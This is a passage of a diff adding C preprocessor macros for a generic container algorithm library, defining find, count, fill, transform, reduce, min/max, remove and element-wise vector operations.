+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    M_F(name, _find_again)(it, data);                                         \
+  }                                                                           \
+                                                                              \
+  /* Test if data is within the container */                                  \
+  M_INLINE bool                                                               \
+  M_F(name, _contain_p) (container_t const l, type_t const data)              \
+  {                                                                           \
+    it_t it;                                                                  \
+    M_F(name,_find)(it, l, data);                                             \
+    return !M_CALL_IT_END_P(cont_oplist, it);                                 \
+  }                                                                           \
+                                                                              \
+  /* Find the last occurrence of data in the container */                     \
+  /* For the definition of _find_last, if the methods                         \
+     PREVIOUS & IT_LAST are defined, then search backwards */                 \
+  M_IF_METHOD2(PREVIOUS, IT_LAST, cont_oplist)                                \
+  (                                                                           \
+   M_INLINE void                                                              \
+   M_F(name, _find_last) (it_t it, container_t const l, type_t const data)    \
+   {                                                                          \
+     for (M_CALL_IT_LAST(cont_oplist, it, l);                                 \
+          !M_CALL_IT_END_P(cont_oplist, it) ;                                 \
+          M_CALL_IT_PREVIOUS(cont_oplist, it)) {                              \
+       if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data)) \
+         /* We can stop as soon as a match is found */                        \
+         return;                                                              \
+     }                                                                        \
+   }                                                                          \
+   ,                                                                          \
+   /* Otherwise search forward, but don't stop on the first occurrence */     \
+   M_INLINE void                                                              \
+   M_F(name, _find_last) (it_t it, container_t const l, type_t const data)    \
+   {                                                                          \
+     M_CALL_IT_END(cont_oplist, it, l);                                       \
+     it_t it2;                                                                \
+     for (M_CALL_IT_FIRST(cont_oplist, it2, l);                               \
+          !M_CALL_IT_END_P(cont_oplist, it2) ;                                \
+          M_CALL_IT_NEXT(cont_oplist, it2)) {                                 \
+       if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it2), data)) \
+         /* We cannot stop as soon as a match is found */                     \
+         M_CALL_IT_SET(cont_oplist, it, it2) ;                                \
+     }                                                                        \
+   }                                                                          \
+   ) /* End of alternative of _find_last */                                   \
+                                                                              \
+  /* Count the number of occurrence of data in the container */               \
+  M_INLINE size_t                                                             \
+  M_F(name, _count) (container_t const l, type_t const data)                  \
+  {                                                                           \
+    it_t it;                                                                  \
+    size_t count = 0;                                                         \
+    for (M_CALL_IT_FIRST(cont_oplist, it, l);                                 \
+         !M_CALL_IT_END_P(cont_oplist, it) ;                                  \
+         M_CALL_IT_NEXT(cont_oplist, it)) {                                   \
+      if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data))  \
+        count++ ;                                                             \
+    }                                                                         \
+    return count;                                                             \
+  }                                                                           \
+                                                                              \
+                                                                              \
+  /* Find the next mismatch between the containers */                         \
+  M_INLINE void                                                               \
+  M_F(name, _mismatch_again) (it_t it1, it_t it2)                             \
+  {                                                                           \
+    for (/* nothing */ ; !M_CALL_IT_END_P(cont_oplist, it1) &&                \
+                         !M_CALL_IT_END_P(cont_oplist, it2);                  \
+                       M_CALL_IT_NEXT(cont_oplist, it1),                      \
+                         M_CALL_IT_NEXT(cont_oplist, it2)) {                  \
+      if (!M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it1),       \
+                        *M_CALL_IT_CREF(cont_oplist, it2)))                   \
+        break;                                                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first mismatch between the containers */                        \
+  M_INLINE void                                                               \
+  M_F(name, _mismatch) (it_t it1, it_t it2, container_t const l1, container_t const l2 ) \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it1, l1);                                    \
+    M_CALL_IT_FIRST(cont_oplist, it2, l2);                                    \
+    M_F(name, _mismatch_again)(it1, it2);                                     \
+  }                                                                           \
+
+
+
+/* Define the find like algorithms with a given callback of function object
+  TODO: Define _find_sorted that find in a sorted random access container 
+  (binary search)
+ */
+#define M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, suffix, test_t, eq_t, call_test, call_eq) \
+                                                                              \
+  /* Find the next occurrence that matches the condition */                   \
+  M_INLINE void                                                               \
+  M_C3(name, _find_again_, suffix) (it_t it, test_t func)                     \
+  {                                                                           \
+    for (/*nothing */ ; !M_CALL_IT_END_P(cont_oplist, it) ;                   \
+                      M_CALL_IT_NEXT(cont_oplist, it)) {                      \
+      if (call_test(func, *M_CALL_IT_CREF(cont_oplist, it)))                  \
+        return ;                                                              \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first occurrence that matches the condition */                  \
+  M_INLINE void                                                               \
+  M_C3(name, _find_, suffix) (it_t it, container_t l, test_t func)            \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    M_C3(name, _find_again_, suffix)(it, func);                               \
+  }                                                                           \
+                                                                              \
+  /* Count the number of occurrence that matches the condition */             \
+  M_INLINE size_t                                                             \
+  M_C3(name, _count_, suffix) (container_t const l, test_t func)              \
+  {                                                                           \
+    it_t it;                                                                  \
+    size_t count = 0;                                                         \
+    for (M_CALL_IT_FIRST(cont_oplist, it, l);                                 \
+         !M_CALL_IT_END_P(cont_oplist, it) ;                                  \
+         M_CALL_IT_NEXT(cont_oplist, it)) {                                   \
+      if (call_test(func, *M_CALL_IT_CREF(cont_oplist, it))) {                \
+        count++ ;                                                             \
+      }                                                                       \
+    }                                                                         \
+    return count;                                                             \
+  }                                                                           \
+                                                                              \
+  /* Find the next mismatch between the containers according to the condition */ \
+  M_INLINE void                                                               \
+  M_C3(name, _mismatch_again_, suffix) (it_t it1, it_t it2, eq_t func)        \
+  {                                                                           \
+    for (/*nothing */ ; !M_CALL_IT_END_P(cont_oplist, it1) &&                 \
+                        !M_CALL_IT_END_P(cont_oplist, it2);                   \
+                      M_CALL_IT_NEXT(cont_oplist, it1),                       \
+                        M_CALL_IT_NEXT(cont_oplist, it2)) {                   \
+      if (!call_eq(func, *M_CALL_IT_CREF(cont_oplist, it1),                   \
+        *M_CALL_IT_CREF(cont_oplist, it2)))                                   \
+        break;                                                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first mismatch between the containers according to the condition */ \
+  M_INLINE void                                                               \
+  M_C3(name, _mismatch_, suffix) (it_t it1, it_t it2, container_t const l1,   \
+                           container_t l2, eq_t func)                         \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it1, l1);                                    \
+    M_CALL_IT_FIRST(cont_oplist, it2, l2);                                    \
+    M_C3(name, _mismatch_again_, suffix)(it1, it2, func);                     \
+  }                                                                           \
+
+
+/* Define the FILL algorithms */
+#define M_ALG0_DEF_FILL(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  /* Fill all the container with value (overwritten) */                       \
+  M_P(void, name, _fill, container_t l, type_t const value)                   \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        M_CALL_SET(type_oplist, *item, value);                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Fill the container with exactly 'n' occurrence of 'value' */             \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+  M_P(void, name, _fill_n, container_t l, size_t n, type_t const value)       \
+  {                                                                           \
+    M_CALL_RESET(cont_oplist, l);                                             \
+    for(size_t i = 0; i < n; i++) {                                           \
+      M_CALL_PUSH(cont_oplist, l, value);                                     \
+    }                                                                         \
+  }                                                                           \
+  , /* PUSH method */ )                                                       \
+                                                                              \
+  /* Fill the container with FOR('value'; 'value'+'inc') */                   \
+  M_IF_METHOD(ADD, type_oplist)(                                              \
+  M_P(void, name, _fill_a, container_t l, type_t const value, type_t const inc) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    type_t tmp;                                                               \
+    M_CALL_INIT_SET(type_oplist, tmp, value);                                 \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        M_CALL_SET(type_oplist, *item, tmp);                                  \
+        M_CALL_ADD(type_oplist, tmp, tmp, inc);                               \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+  }                                                                           \
+                                                                              \
+  /* Fill the container with n occurences of FOR('value'; 'value'+'inc') */   \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+  M_P(void, name, _fill_an, container_t l, size_t n, type_t const value, type_t const inc) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    type_t tmp;                                                               \
+    M_CALL_INIT_SET(type_oplist, tmp, value);                                 \
+    M_CALL_RESET(cont_oplist, l);                                             \
+    for(size_t i = 0; i < n; i++) {                                           \
+      M_CALL_PUSH(cont_oplist, l, tmp);                                       \
+      M_CALL_ADD(type_oplist, tmp, tmp, inc);                                 \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+  }                                                                           \
+  , /* PUSH method */ )                                                       \
+  , /* ADD method */ )                                                        \
+
+
+/* Define MAP algorithms */
+#define M_ALG0_DEF_MAP(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  /* Apply func for all elements of the container */                          \
+  M_INLINE void                                                               \
+  M_F(name, _for_each) (container_t l, M_F(name, _apply_cb_ct) func)          \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        func(*item);                                                          \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, type_oplist)(                                             \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+                                                                              \
+  /* Apply func for all elements of the container src and push the result in dst */ \
+  M_P(void, name, _transform, container_t dst, container_t src, M_F(name, _transform_cb_ct) func, void *data) \
+  {                                                                           \
+    M_ASSERT(dst != src);                                                     \
+    M_CALL_RESET(cont_oplist, dst);                                           \
+    type_t tmp;                                                               \
+    M_CALL_INIT(type_oplist, tmp);                                            \
+    for M_EACH(item, src, cont_oplist) {                                      \
+        if (func(&tmp, *item, data)) {                                        \
+          M_CALL_PUSH(cont_oplist, dst, tmp);                                 \
+        }                                                                     \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+    M_IF_METHOD(REVERSE, cont_oplist)(M_CALL_REVERSE(cont_oplist, dst),);     \
+  }                                                                           \
+  , /* END PUSH_MOVE */), /* END INIT */ )                                    \
+                                                                              \
+  /* Reduce all elements of the container in dst in function of func */       \
+  M_IF_METHOD(SET, type_oplist)(                                              \
+  M_P(bool, name, _reduce, type_t *dest, container_t const l, M_F(name, _reduce_cb_ct) func) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    bool initDone = false;                                                    \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (initDone) {                                                       \
+          func(dest, *item);                                                  \
+        } else {                                                              \
+          M_CALL_SET(type_oplist, *dest, *item);                              \
+          initDone = true;                                                    \
+        }                                                                     \
+      }                                                                       \
+    return initDone;                                                          \
+  }                                                                           \
+  , /* END SET */)                                                            \
+                                                                              \
+  /* Reduce all transformed elements of the container in dst in function of func */ \
+  M_IF_METHOD(INIT, type_oplist)(                                             \
+  M_P(bool, name, _transform_reduce, type_t *dest, const container_t l,       \
+                               M_F(name, _reduce_cb_ct) redFunc,              \
+                               M_F(name, _transform_cb_ct) mapFunc, void *data) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    bool initDone = false;                                                    \
+    type_t tmp;                                                               \
+    M_CALL_INIT(type_oplist, tmp);                                            \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (initDone) {                                                       \
+          if (mapFunc(&tmp, *item, data) ) {                                  \
+            redFunc(dest, tmp);                                               \
+          }                                                                   \
+        } else {                                                              \
+          initDone = mapFunc(dest, *item, data);                              \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+    return initDone;                                                          \
+  }                                                                           \
+  , )                                                                         \
+
+
+/* Define ALL_OF algorithms */
+#define M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, suffix, func_t, call) \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _any_of, suffix, p) (container_t const l,                        \
+                                  func_t func )                               \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+      if (call(func, *item))                                                  \
+          return true;                                                        \
+    }                                                                         \
+    return false;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _all_of, suffix, p) (container_t const l,                        \
+                                  func_t func )                               \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (!call(func, *item))                                               \
+          return false;                                                       \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _none_of, suffix, p) (container_t l,                             \
+                                    func_t func )                             \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (call(func, *item))                                                \
+          return false;                                                       \
+      }                                                                       \
+    return true;                                                              \
+  }                                                                           \
+
+
+/* Define MIN / MAX algorithms */
+#define M_ALG0_DEF_MINMAX(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_INLINE type_t *                                                           \
+  M_F(name, _min) (const container_t l)                                       \
+  {                                                                           \
+    type_t *min = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (min == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *min, *cref) > 0) {                       \
+          min = cref;                                                         \
+        }                                                                     \
+      }                                                                       \
+    return min;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE type_t *                                                           \
+  M_F(name, _max) (const container_t l)                                       \
+  {                                                                           \
+    type_t *max = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (max == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *max, *cref) < 0) {                       \
+            max = cref;                                                       \
+        }                                                                     \
+      }                                                                       \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _minmax) (type_t **min_p, type_t **max_p,                         \
+                      const container_t l)                                    \
+  {                                                                           \
+    type_t *min = NULL;                                                       \
+    type_t *max = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (min == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *min, *cref) > 0) {                       \
+            min = cref;                                                       \
+        }                                                                     \
+        if (max == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *max, *cref) < 0) {                       \
+          max = cref;                                                         \
+        }                                                                     \
+      }                                                                       \
+    *min_p = min;                                                             \
+    *max_p = max;                                                             \
+  }                                                                           \
+
+/* Define functions based on remove method */
+#define M_ALG0_DEF_REMOVE(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_P(void, name, _uniq, container_t l)                                       \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    M_ASSERT(M_F(name, _sort_p)(l));                                          \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_SET(cont_oplist, it2, it1);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it2);                                         \
+    /* Not efficient for array! */                                            \
+    while (!M_CALL_IT_END_P(cont_oplist, it2)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      type_t const *ref2 = M_CALL_IT_CREF(cont_oplist, it2);                  \
+      if (M_CALL_CMP(type_oplist, *ref1, *ref2) == 0) {                       \
+        M_CALL_IT_REMOVE(cont_oplist, l, it2);                                \
+      } else {                                                                \
+        M_CALL_IT_SET(cont_oplist, it1, it2);                                 \
+        M_CALL_IT_NEXT(cont_oplist, it2);                                     \
+      }                                                                       \
+      }                                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove_val, container_t l, type_t const val)               \
+  {                                                                           \
+    it_t it1;                                                                 \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    while (!M_CALL_IT_END_P(cont_oplist, it1)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      if (M_CALL_EQUAL(type_oplist, *ref1, val)) {                            \
+        M_CALL_IT_REMOVE(cont_oplist, l, it1);                                \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, it1);                                     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove_if, container_t l, M_F(name, _test_cb_ct) func)     \
+  {                                                                           \
+    it_t it1;                                                                 \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    while (!M_CALL_IT_END_P(cont_oplist, it1)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      if (func(*ref1)) {                                                      \
+        M_CALL_IT_REMOVE(cont_oplist, l, it1);                                \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, it1);                                     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+
+/* Define vector algorithms */
+#define M_ALG0_DEF_VECTOR(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_IF_METHOD(ADD, type_oplist)(                                              \
+  M_INLINE void M_F(name, _add) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_ADD(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_ADD METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(SUB, type_oplist)(                                              \
+  M_INLINE void M_F(name, _sub) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_SUB(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_SUB METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(MUL, type_oplist)(                                              \
+  M_INLINE void M_F(name, _mul) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_MUL(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_MUL METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(DIV, type_oplist)(                                              \
+  M_INLINE void M_F(name, _div) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_DIV(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_DIV METHOD */ )                                                     \
+                                                                              \
+
+
+//TODO: Algorithm missing
+// _nth_element ( http://softwareengineering.stackexchange.com/questions/284767/kth-selection-routine-floyd-algorithm-489 )
+// _average
+// _sort_uniq (_sort + _uniq)
+// fast _uniq for array
+// _flatten (takes a set of containers and returns a new container containing all flatten objects)
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_FOR_EACH(container, cont_oplist, func) do {                    \
+    for M_EACH(_item, container, cont_oplist) {                               \
+        func(*_item);                                                         \
+      }                                                                       \
+  } while (0)
+
+#define M_ALG0_FOR_EACH_ARG(container, cont_oplist, func, ...) do {           \
+    for M_EACH(_item, container, cont_oplist) {                               \
+        func(__VA_ARGS__, *_item);                                            \
+      }                                                                       \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_TRANSFORM(contD, contDop, contS, contSop, func) do {           \
+    M_CALL_RESET(contDop, contD);                                             \
+    for M_EACH(_item, contS, contSop) {                                       \
+        M_GET_SUBTYPE contDop _tmp;                                           \
+        M_CALL_INIT(M_GET_OPLIST contDop, _tmp);                              \
+        func(_tmp, *_item);                                                   \
+        M_CALL_PUSH_MOVE(contDop, contD, &_tmp);                              \
+      }                                                                       \
+    M_IF_METHOD(REVERSE, contDop) (M_CALL_REVERSE(contDop, contD);, )         \
+  } while (0)
+
+#define M_ALG0_TRANSFORM_ARG(contD, contDop, contS, contSop, func, ...) do {  \
+    M_CALL_RESET(contDop, contD);                                             \
+    for M_EACH(_item, contS, contSop) {                                       \
+        M_GET_SUBTYPE contDop _tmp;                                           \
+        M_CALL_INIT(M_GET_OPLIST contDop, _tmp);                              \
+        func(_tmp, *_item, __VA_ARGS__);                                      \
+        M_CALL_PUSH_MOVE(contDop, contD, &_tmp);                              \
+      }                                                                       \
+    M_IF_METHOD(REVERSE, contDop) (M_CALL_REVERSE(contDop, contD);, )         \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_EXTRACT(contDst, contDstOplist, contSrc, contSrcOplist)        \
+  M_ALG0_EXTRACT_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist))
+#define M_ALG0_EXTRACT_P1(contDst, contDstOplist, contSrc, contSrcOplist) do{ \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        M_IF_METHOD(PUSH, contDstOplist)(                                     \
+          M_CALL_PUSH(contDstOplist, contDst, *_item);                        \
+        ,                                                                     \
+          M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDst);, ) \
+  } while (0)
+
+#define M_ALG0_EXTRACT_FUNC(contDst, contDstOplist, contSrc, contSrcOplist, condFunc) \
+  M_ALG0_EXTRACT_FUNC_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist), condFunc)
+#define M_ALG0_EXTRACT_FUNC_P1(contDst, contDstOplist, contSrc, contSrcOplist, \
+                      condFunc) do {                                          \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        if (condFunc (*_item)) {                                              \
+          M_IF_METHOD(PUSH, contDstOplist)(                                   \
+            M_CALL_PUSH(contDstOplist, contDst, *_item);                      \
+          ,                                                                   \
+            M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+        }                                                                     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDst);, ) \
+  } while (0)
+
+#define M_ALG0_EXTRACT_ARG(contDst, contDstOplist, contSrc, contSrcOplist,    \
+                          condFunc, ...)                                      \
+  M_ALG0_EXTRACT_ARG_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist), \
+                        condFunc, __VA_ARGS__)
+#define M_ALG0_EXTRACT_ARG_P1(contDst, contDstOplist, contSrc, contSrcOplist, \
+                          condFunc, ...) do {                                 \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        if (condFunc (__VA_ARGS__, *_item)) {                                 \
+          M_IF_METHOD(PUSH, contDstOplist)(                                   \
+            M_CALL_PUSH(contDstOplist, contDst, *_item);                      \
+            ,                                                                 \
+            M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+        }                                                                     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDstOplist);, ) \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_REDUCE_DISPATCH(dest, destOp, dest_t, cont, contOp,  ...)      \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_REDUCE_BASIC(dest, dest_t, destOp, cont, contOp, __VA_ARGS__),      \
+   M_IF_NARGS_EQ2(__VA_ARGS__)                                                \
+   (M_ALG0_REDUCE_FOR_EACH(dest, dest_t, destOp, cont, contOp, __VA_ARGS__),  \
+    M_ALG0_REDUCE_FOR_EACH_ARG(dest, dest_t, destOp, cont, contOp, __VA_ARGS__) ) )
+
+/* The special functions handled by ALGO_REDUCE */
+#define M_ALG0_REDUCE_AND(a,b) ((a) &= (b))
+#define M_ALG0_REDUCE_OR(a,b)  ((a) |= (b))
+#define M_ALG0_REDUCE_SUM(a,b) ((a) += (b))
+#define M_ALG0_REDUCE_PRODUCT(a,b) ((a) *= (b))
+
+/* Return the method associated to a reduce operation.
+   It returns the special function handler if function is and, or, sum or add.
+   Otherwise it returns the original function */
+#define M_ALG0_REDUCE_FUNC(reduceFunc)                                        \
+  M_IF(M_KEYWORD_P(and, reduceFunc))                                          \
+  (M_ALG0_REDUCE_AND,                                                         \
+   M_IF(M_KEYWORD_P(or, reduceFunc))                                          \
+   (M_ALG0_REDUCE_OR,                                                         \
+    M_IF(M_KEYWORD_P(sum, reduceFunc))                                        \
+    (M_ALG0_REDUCE_SUM,                                                       \
+     M_IF(M_KEYWORD_P(product, reduceFunc))                                   \
+     (M_ALG0_REDUCE_PRODUCT,                                                  \
+      reduceFunc)                                                             \
+     )                                                                        \
+    )                                                                         \
+   )
+
+#define M_ALG0_REDUCE_BASIC(dest, dest_t, destOp, cont, cont_oplist, reduceFunc) do { \
+    bool _init_done = false;                                                  \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, *_item);                      \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, *_item);                                   \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+  } while (0)
+
+#define M_ALG0_REDUCE_FOR_EACH(dest, dest_t, destOp, cont, cont_oplist, reduceFunc, mapFunc) do { \
+    bool _init_done = false;                                                  \
+    dest_t _tmp;                                                              \
+    M_CALL_INIT(destOp, _tmp);                                                \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        mapFunc(_tmp, *_item);                                                \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, _tmp);                        \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, _tmp);                                     \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(destOp, _tmp);                                               \
+  } while (0)
+
+#define M_ALG0_REDUCE_FOR_EACH_ARG(dest, dest_t, destOp, cont, cont_oplist, reduceFunc, mapFunc, ...) do { \
+    bool _init_done = false;                                                  \
+    dest_t _tmp;                                                              \
+    M_CALL_INIT(destOp, _tmp);                                                \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        mapFunc(_tmp, __VA_ARGS__, *_item);                                   \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, _tmp);                        \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, _tmp);                                     \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(destOp, _tmp);                                               \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_INSERT_AT(contDst, contDstOp, position, contSrc, contSrcOp) do { \
+    M_GET_IT_TYPE contSrcOp _itSrc;                                           \
+    M_GET_IT_TYPE contDstOp _itDst;                                           \
+    M_CALL_IT_SET(contDstOp, _itDst, position);                               \
+    for (M_CALL_IT_FIRST(contSrcOp, _itSrc, contSrc) ;                        \
+         !M_CALL_IT_END_P(contSrcOp, _itSrc) ;                                \
+         M_CALL_IT_NEXT(contSrcOp, _itSrc) ) {                                \
